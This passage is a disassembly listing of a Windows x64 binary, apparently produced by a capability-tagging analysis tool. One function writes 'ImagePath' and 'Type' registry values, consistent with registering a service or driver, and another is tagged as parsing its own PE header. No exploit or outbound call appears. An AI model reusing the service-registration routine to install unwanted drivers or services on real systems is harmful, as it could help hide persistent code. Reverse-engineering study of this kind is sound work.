call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, rdi
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001ba0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140001c07
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140002610
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
ret
Function at 0x140002edc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002f26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002f26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002f26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002f26
cmp dword [rcx + 0x84], 0xe
jbe 0x140002f26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002f28
xor al, al
add rsp, 0x28
ret